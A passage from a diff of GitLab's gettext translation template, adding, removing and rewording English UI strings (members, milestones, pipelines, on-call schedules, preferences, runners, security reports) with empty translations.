msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
